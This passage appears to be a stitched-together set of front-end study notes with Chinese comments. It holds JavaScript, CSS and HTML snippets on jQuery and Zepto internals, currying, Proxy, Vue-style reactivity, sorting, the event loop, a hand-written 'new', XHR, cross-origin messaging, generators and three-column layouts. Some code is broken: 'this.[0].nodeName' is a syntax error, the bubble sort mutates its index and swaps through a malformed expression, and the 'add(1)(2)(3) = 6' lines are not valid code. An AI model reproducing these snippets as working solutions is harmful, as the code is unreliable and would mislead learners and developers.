      this[i] = dom[i]
    }
    this.length = len
    this.selector = selector || ''
  }
  // 构造函数原型
  init.prototype = jQuery.fn
  window.$ = jQuery
})(window)

(function (window) {
  var zepto = {}

  // 构造函数
  function Z(dom, selector) {
    var i, len = dom ? dom.length : 0
    for (i = 0; i < len; i++) {
      this[i] = dom[i]
    }
    this.length = len
    this.selector = selector || ''
  }

  zepto.Z = function (dom, selector) {
    return new Z(dom, selector)
  }

  zepto.init = function (selector) {
    var slice = Array.prototype.slice
    var dom = slice.call(document.querySelectorAll(selector))
    return zepto.Z(dom, selector)
  }

  var $ = function (selector) {
    return zepto.init(selector)
  }

  window.$ = $

  $.fn = {
    css: function (key, value) {
      console.log('css')
    },
    html: function (value) {
      console.log('html')
    }
  }

  Z.prototype = $.fn

})(window)

$.fn.getNodeName = function () {
  return this.[0].nodeName
}

<meta name="viewport" content="width=device-width; initial-scale=1; maximum-scale=1; minimum-scale=1; user-scalable=no;">

       .border_1px:before{
          content: '';
          position: absolute;
          top: 0;
          height: 1px;
          width: 100%;
          background-color: #000;
          transform-origin: 50% 0%;
        }
        @media only screen and (-webkit-min-device-pixel-ratio:2){
            .border_1px:before{
                transform: scaleY(0.5);
            }
        }
        @media only screen and (-webkit-min-device-pixel-ratio:3){
            .border_1px:before{
                transform: scaleY(0.33);
            }
        }

// 普通的add函数
function add(x, y) {
    return x + y;
}
// Currying后
function curryingAdd(x) {
    return function (y) {
        return x + y;
    }
}
add(1, 2)                 // 3
curryingAdd(1)(2)   // 3

// 正常正则验证字符串 reg.test(txt)

// 函数封装后
function check(reg, txt) {
    return reg.test(txt)
}
check(/\d+/g, 'test')       //false
check(/[a-z]+/g, 'test')    //true
// Currying后
function curryingCheck(reg) {
    return function(txt) {
        return reg.test(txt)
    }
}
let hasNumber = curryingCheck(/\d+/g)
let hasLetter = curryingCheck(/[a-z]+/g)
hasNumber('test1')      // true
hasNumber('testtest')   // false
hasLetter('21212')      // false

let on = function(element, event, handler) {
    if (document.addEventListener) {
        if (element && event && handler) {
            element.addEventListener(event, handler, false);
        }
    } else {
        if (element && event && handler) {
            element.attachEvent('on' + event, handler);
        }
    }
}
// 函数自执行后返回一个新的函数，也就提前确定了
let on = (function() {
    if (document.addEventListener) {
        return function(element, event, handler) {
            if (element && event && handler) {
                element.addEventListener(event, handler, false);
            }
        };
    } else {
        return function(element, event, handler) {
            if (element && event && handler) {
                element.attachEvent('on' + event, handler);
            }
        };
    }
})();

Function.prototype.bind = function (context) {
    let _this = this
    let args = Array.prototype.slice.call(arguments, 1)
    return function() {
        return _this.apply(context, args)
    }
}

function currying(fn, ...args){
    //fn.length是函数参数的个数
    if(fn.length <= args.length){
        return fn(...args);
    }
    return function(...argsX){
        return currying(fn, ...args, ...argsX);
    }
}
function add(a,b,c){
    return a + b + c;
}
let curryingAdd = currying(add);
curryingAdd(1)(2)(3);

// 实现一个add方法，使计算结果能够满足如下预期：
add(1)(2)(3) = 6;
add(1, 2, 3)(4) = 10;
add(1)(2)(3)(4)(5) = 15;

function add() {
    // 第一次执行时，定义一个数组专门用来存储所有的参数
    let _args = Array.prototype.slice.call(arguments);
    // 在内部声明一个函数，利用闭包的特性保存_args并收集所有的参数值
    let _adder = function() {
        // 第二次及以上执行，不断返回该函数
        _args.push(...arguments);
        return _adder;
    };
    // 利用toString隐式转换的特性，当最后执行时隐式转换，并计算最终的值返回
    _adder.toString = function () {
        return _args.reduce(function (a, b) {
            return a + b;
        });
    }
    // 第一次执行返回
    return _adder;
}

// `target` 代表需要添加代理的对象
// `handler` 用来自定义对象中的操作
let p = new Proxy(target, handler);

let onWatch = (obj, setBind, getLogger) => {
  let handler = {
    get(target, property, receiver) {
      getLogger(target, property)
      return Reflect.get(target, property, receiver);
    },
    set(target, property, value, receiver) {
      setBind(value);
      return Reflect.set(target, property, value);
    }
  };
  return new Proxy(obj, handler);
};

let obj = { a: 1 }
let value
let p = onWatch(obj, (v) => {
  value = v
}, (target, property) => {
  console.log(`Get '${property}' = ${target[property]}`);
})
p.a = 2 // bind `value` to `2`
p.a // -> Get 'a' = 2

var vnode = h('ul#list', {}, [
  h('li.item', {}, 'item 1'),
  h('li.item', {}, 'item 2')
])

patch(container, vnode)
patch(vnode, newVnode)

// 插入排序：将元素插入到已排序好的数组中
function insertSort(arr) {
    if (!Array.isArray(arr)) return
    for (let i = 1; i < arr.length; i++) {
        for (let j = i; j > 0; j--) {
            if (arr[j] < arr[j - 1]) {
                [arr[j], arr[j - 1]] = [arr[j - 1], arr[j]]
            } else {
                break
            }
        }
    }
    return arr
}

// 选择排序：遍历自身以后的元素，最小的元素跟自己调换位置
function selectSort(arr) {
    if (!Array.isArray(arr)) return
    for (let i = 0; i < arr.length - 1; i++) {
        for (let j = i + 1; j < arr.length; j++) {
            if (arr[j] < arr[i]) {
                [arr[i], arr[j]] = [arr[j], arr[i]]
            }
        }
    }
    return arr
}

// 冒泡排序：两两比较
function bubleSort(arr) {
    if (!Array.isArray(arr)) return
    for (let i = arr.length - 1; i > 1; i--) {
        for (let j = 0; j < i; j++) {
            if (arr[j] > arr[j++]) {
                arr[arr[j], arr[j + 1]] = [arr[j + 1], arr[j]]
            }
        }
    }
    return arr
}

// 快速排序
function quickSort(arr) {
    if (!Array.isArray(arr)) return
    if (arr.length <= 1) {
        return arr
    }
    let left = [], right = [], current = arr.splice(0, 1)
    for (let i = 0; i < arr.length; i++) {
        if (arr[i] < current) {
            left.push(arr[i])
        } else {
            right.push(arr[i])
        }
    }
    return quickSort(left).concat(current, quickSort(right))
}

let data = [
    {parent_id:0,id: 1,value:'1'},
    {parent_id:1,id: 3,value:'3'},
    {parent_id:4,id: 6,value:'6'},
    {parent_id:3,id: 5,value:'5'},
    {parent_id:2,id: 4,value:'4'},
    {parent_id:1,id: 2,value:'2'}
]
function buildTree(array,id,parent_id) {
    // 创建临时对象
    let temp = {};
    // 创建需要返回的树形对象
    let tree = {};
    // 先遍历数组，将数组的每一项添加到temp对象中
    for(let i in array) {
        temp[array[i][id]] = array[i];
    }

    // 遍历temp对象，将当前子节点与父节点建立连接
    for(let i in temp) {
        // 判断是否是根节点下的项
        if(temp[i][parent_id] !== 0) {
             if(!temp[temp[i][parent_id]].children) {
                 temp[temp[i][parent_id]].children = {};
             }
             temp[temp[i][parent_id]].children[i] = temp[i]; // 利用对象的引用关系，只需将当前子节点与父节点建立连接，不需要考虑其他
        }else{
            tree[temp[i][id]] = temp[i];
        }
    }
    return tree;
}
buildTree(data, 'id', 'parent_id');
// 以上算法能实现原理是对象的引用关系

let obj = {}
let property = 'zhangsan'
Object.defineProperty( obj, 'property', {
  get: function () {
    console.log( 'get' )
    return property
  },
  set: function (newVal) {
    console.log( 'set' )
    property = newVal
  }
} )

var vm = {}
var data = {
  price: 20,
  name: 'zhangsan'
}
var key, value
for (key in data) {
  (function (key) {
    Object.defineProperty(vm, key, {
      get: function () {
        console.log('get')
        return data[key]
      },
      set: function (newVal) {
        console.log('set')
        data[key] = newVal
      }
    })
  })(key)
}

<div id="app">
  <p>{{ price }}</p>
</div>

function render() {
  with (this) {
    return _c(
      'div',
      {
        attrs: { 'id': 'app' }
      },
      [
        _c('p', [_v(_s(price))])
      ]
    )
  }
}

vm._update = function (vnode) {
  const prevVnode = vm._vnode
  vm._vnode = vnode
  if (!prevVnode) {
    vm.$el = vm.__patch__(vm.$el, vnode)
  } else {
    vm.$el = vm.__patch__(prevVnode, vnode)
  }
}
function updateComponent() {
  // vm._render() 即上面的 render 函数，返回 vnode
  vm._update(vm._render())
}

// 老写法
class Foo {
  // ...
}
Foo.prop = 1;
// 新写法
class Foo {
  static prop = 1;
}

class A {
}
class B extends A {
}
B.__proto__ === A // true
B.prototype.__proto__ === A.prototype // true

setTimeout(() => {
    task();
}, 3000);
sleep(10000000);

console.log('1');

setTimeout(function() {
    console.log('2');
    process.nextTick(function() {
        console.log('3');
    })
    new Promise(function(resolve) {
        console.log('4');
        resolve();
    }).then(function() {
        console.log('5')
    })
})
process.nextTick(function() {
    console.log('6');
})
new Promise(function(resolve) {
    console.log('7');
    resolve();
}).then(function() {
    console.log('8')
})

setTimeout(function() {
    console.log('9');
    process.nextTick(function() {
        console.log('10');
    })
    new Promise(function(resolve) {
        console.log('11');
        resolve();
    }).then(function() {
        console.log('12')
    })
})

function create() {
    // 创建一个空的对象
    let obj = new Object()
    // 获得构造函数
    let Con = [].shift.call(arguments)
    // 链接到原型
    obj.__proto__ = Con.prototype
    // 绑定 this，执行构造函数
    let result = Con.apply(obj, arguments)
    // 确保 new 出来的是个对象（构造函数返回对象，则使用构造函数返回的，否则使用新对象）
    return typeof result === 'object' ? result : obj
}

let create2 = function(){
    let Con = [].shift.call(arguments)
    let o = Object.create(Con.prototype);// **此处相当于o.___proto__=Con.prototype**
    let k = Con.apply(o,arguments);
    return typeof k === 'object' ? k : o;
}

function Car(color){this.color = color;return this;}
Car.prototype.run = function (){console.log(`${this.color} car run`)}
let car = create(Car, 'red')
car.color;
car.run();

function request(url, method, sucess, fail) {
  let xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP")
  xhr.open(method, url, true)
  xhr.onreadystatechange = function(){
    if(xhr.readyState === 4) {
      if(xhr.status === 200 || xhr.status === 304) {
        if(sucess) sucess( xhr.response )
      }else{
        if(fail) fail()
      }
    }
  }
  xhr.send()
}

// 在A中伪代码
let B = document.getElementsByTagName('iframe')[0]
B.src = B.src + '#' + data
// 在B中伪代码
window.onhashchange = function () {
  let data = window.location.hash
}

// 窗口A(http://a.com)向跨域窗口B(http://b.com)发送信息
window.postMessage('data', 'http://b.com')
// 在B窗口中监听
window.addEventListener('message', function( event ){
  console.log(event.data) // data
  console.log(event.source) // Awindow
  console.log(event.origin) // http://a.com
}, false)

// 使用 * 表示这是一个 Generator 函数
// 内部可以通过 yield 暂停代码
// 通过调用 next 恢复执行
function* test() {
  let a = 1 + 2;
  yield 2;
  yield 3;
}
let b = test();
console.log(b.next()); // >  { value: 2, done: false }
console.log(b.next()); // >  { value: 3, done: false }
console.log(b.next()); // >  { value: undefined, done: true }

// cb 也就是编译过的 test 函数
function generator(cb) {
  return (function() {
    var object = {
      next: 0,
      stop: function() {}
    };

    return {
      next: function() {
        var ret = cb(object);
        if (ret === undefined) return { value: undefined, done: true };
        return {
          value: ret,
          done: false
        };
      }
    };
  })();
}
// 如果你使用 babel 编译后可以发现 test 函数变成了这样
// https://babeljs.io/repl
function test() {
  var a;
  return generator(function(_context) {
    while (1) {
      switch ((_context.prev = _context.next)) {
        // 可以发现通过 yield 将代码分割成几块
        // 每次执行 next 函数就执行一块代码
        // 并且表明下次需要执行哪块代码
        case 0:
          a = 1 + 2;
          _context.next = 4;
          return 2;
        case 4:
          _context.next = 6;
          return 3;
		// 执行完毕
        case 6:
        case "end":
          return _context.stop();
      }
    }
  });
}

<div class="left">Left</div>
<div class="main">Main</div>
<div class="right">Right</div>

.left,.right{
    position: absolute;
    top:0px;
    background: red;
    height:100%;
}
.left{
    left:0;
    width:100px;
}
.right{
    right:0px;
    width:200px;
}
.main{
    margin:0px 200px 0px 100px;
    height:100%;
    background: blue;
}

<div class="left">Left</div>
<div class="right">Right</div>
<div class="main">Main</div>

.left {
    background: red;
    width: 100px;
    float: left;
    height: 100%;
}
.main {
    background: blue;
    height: 100%;
    margin:0px 200px 0px 100px;
}
.right {
    background: red;
    width: 200px;
    float: right;
    height: 100%;
}

<div class="main">Main</div>
<div class="left">Left</div>
<div class="right">Right</div>

body {
    padding-left: 100px;
    padding-right: 200px;
}
.left {
    background: red;
    width: 100px;
    float: left;
    margin-left: -100%;
    position: relative;
    left: -100px;
    height: 100%;
}
.main {
    background: blue;
    width: 100%;
    height: 100%;
    float: left;
}
.right {
    background: red;
    width: 200px;
    height: 100%;
    float: left;
    margin-left: -200px;
    position: relative;
    right: -200px;
}

display: table;
display: table-cell;

display: grid;
grid-template-rows: 100px;
grid-template-columns: 200px auto 200px;